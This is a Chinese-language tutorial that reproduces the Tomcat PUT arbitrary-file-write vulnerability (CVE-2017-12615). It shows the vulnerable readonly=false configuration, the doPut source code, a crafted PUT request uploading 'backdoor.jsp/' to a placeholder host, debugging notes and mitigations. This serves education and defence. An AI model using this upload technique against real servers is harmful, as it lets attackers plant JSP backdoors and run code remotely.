Tomcat PUT方法任意写文件漏洞复现(CVE-2017-12615)
字数 1219 2025-08-15 21:33:06

Tomcat PUT方法任意写文件漏洞复现(CVE-2017-12615) 教学文档

漏洞概述

CVE-2017-12615是Apache Tomcat中的一个安全漏洞,当Tomcat配置了readonly=false时,攻击者可以通过精心构造的PUT请求在服务器上任意位置创建或修改文件,可能导致远程代码执行。

受影响版本

  • Apache Tomcat 7.0.0 - 7.0.79 (Windows环境)
  • 测试版本:7.0.79

漏洞原理分析

关键配置

漏洞主要与Tomcat的web.xml配置文件中的DefaultServlet相关:

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>  <!-- 关键参数 -->
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

readonly参数设置为false时,Tomcat允许通过HTTP PUT方法上传文件。

代码分析

漏洞位于DefaultServlet.javadoPut方法中:

protected void doPut(HttpServletRequest req, HttpServletResponse resp) 
    throws ServletException, IOException {
    
    if (readOnly) {
        resp.sendError(HttpServletResponse.SC_FORBIDDEN);
        return;
    }
    
    String path = getRelativePath(req);
    boolean exists = true;
    
    try {
        resources.lookup(path);
    } catch (NamingException e) {
        exists = false;
    }
    
    boolean result = true;
    File contentFile = null;
    Range range = parseContentRange(req, resp);
    InputStream resourceInputStream = null;
    
    if (range != null) {
        contentFile = executePartialPut(req, range, path);
        resourceInputStream = new FileInputStream(contentFile);
    } else {
        resourceInputStream = req.getInputStream();
    }
    
    try {
        Resource newResource = new Resource(resourceInputStream);
        if (exists) {
            resources.rebind(path, newResource);
        } else {
            resources.bind(path, newResource);  // 关键漏洞点
        }
    } catch(NamingException e) {
        result = false;
    }
    
    if (result) {
        if (exists) {
            resp.setStatus(HttpServletResponse.SC_NO_CONTENT);
        } else {
            resp.setStatus(HttpServletResponse.SC_CREATED);
        }
    } else {
        resp.sendError(HttpServletResponse.SC_CONFLICT);
    }
}

漏洞触发机制

  1. readonly=false时,PUT请求不会被拒绝
  2. 攻击者可以发送PUT请求上传文件
  3. 通过特殊构造的文件名(如filename.jsp/),可以绕过Tomcat的文件名处理逻辑
  4. 最终文件会被写入服务器,但文件名中的/会被去除,导致任意文件写入

漏洞复现步骤

环境准备

  1. 安装受影响版本的Tomcat(7.0.0-7.0.79)
  2. 确保conf/web.xmlDefaultServletreadonly参数设置为false

利用过程

  1. 访问Tomcat主页,使用Burp Suite等工具拦截请求
  2. 将GET请求修改为PUT请求
  3. 构造恶意请求:
PUT /backdoor.jsp/ HTTP/1.1
Host: target.com:8080
Content-Type: text/plain
Content-Length: [length]

<% out.println("Hello, World!"); %>
  1. 关键点:文件名后添加/(如backdoor.jsp/
  2. 发送请求后,服务器会返回201 Created状态码,表示文件创建成功
  3. 访问http://target.com:8080/backdoor.jsp验证文件是否成功写入

动态调试分析

  1. 调试doPut函数,观察readOnly参数值
  2. 跟踪resources.bind函数调用链
  3. 观察文件名处理过程:
    • 传入/12w3.jsp/
    • 经过File函数处理后变为\12w3.jsp
    • 最终写入webapps/ROOT/12w3.jsp

防御措施

  1. DefaultServletreadonly参数设置为true(默认值)
  2. 升级到Tomcat 7.0.81或更高版本
  3. 在反向代理或防火墙层面限制PUT/DELETE等HTTP方法
  4. 对上传文件进行严格的权限控制和内容检查

参考资源

  1. Tomcat 7配置文档
  2. IDEA远程调试Tomcat方法
  3. HTTP PUT方法利用技术
  4. Servlet-mapping功能解析

总结

CVE-2017-12615漏洞利用Tomcat对PUT请求处理不当的缺陷,结合特殊构造的文件名,实现了任意文件写入。该漏洞在readonly=false配置下可利用性高,危害严重,应及时采取防护措施。

Tomcat PUT方法任意写文件漏洞复现(CVE-2017-12615) 教学文档 漏洞概述 CVE-2017-12615是Apache Tomcat中的一个安全漏洞,当Tomcat配置了 readonly=false 时,攻击者可以通过精心构造的PUT请求在服务器上任意位置创建或修改文件,可能导致远程代码执行。 受影响版本 Apache Tomcat 7.0.0 - 7.0.79 (Windows环境) 测试版本:7.0.79 漏洞原理分析 关键配置 漏洞主要与Tomcat的 web.xml 配置文件中的 DefaultServlet 相关: 当 readonly 参数设置为 false 时,Tomcat允许通过HTTP PUT方法上传文件。 代码分析 漏洞位于 DefaultServlet.java 的 doPut 方法中: 漏洞触发机制 当 readonly=false 时,PUT请求不会被拒绝 攻击者可以发送PUT请求上传文件 通过特殊构造的文件名(如 filename.jsp/ ),可以绕过Tomcat的文件名处理逻辑 最终文件会被写入服务器,但文件名中的 / 会被去除,导致任意文件写入 漏洞复现步骤 环境准备 安装受影响版本的Tomcat(7.0.0-7.0.79) 确保 conf/web.xml 中 DefaultServlet 的 readonly 参数设置为 false 利用过程 访问Tomcat主页,使用Burp Suite等工具拦截请求 将GET请求修改为PUT请求 构造恶意请求: 关键点:文件名后添加 / (如 backdoor.jsp/ ) 发送请求后,服务器会返回201 Created状态码,表示文件创建成功 访问 http://target.com:8080/backdoor.jsp 验证文件是否成功写入 动态调试分析 调试 doPut 函数,观察 readOnly 参数值 跟踪 resources.bind 函数调用链 观察文件名处理过程: 传入 /12w3.jsp/ 经过 File 函数处理后变为 \12w3.jsp 最终写入 webapps/ROOT/12w3.jsp 防御措施 将 DefaultServlet 的 readonly 参数设置为 true (默认值) 升级到Tomcat 7.0.81或更高版本 在反向代理或防火墙层面限制PUT/DELETE等HTTP方法 对上传文件进行严格的权限控制和内容检查 参考资源 Tomcat 7配置文档 IDEA远程调试Tomcat方法 HTTP PUT方法利用技术 Servlet-mapping功能解析 总结 CVE-2017-12615漏洞利用Tomcat对PUT请求处理不当的缺陷,结合特殊构造的文件名,实现了任意文件写入。该漏洞在 readonly=false 配置下可利用性高,危害严重,应及时采取防护措施。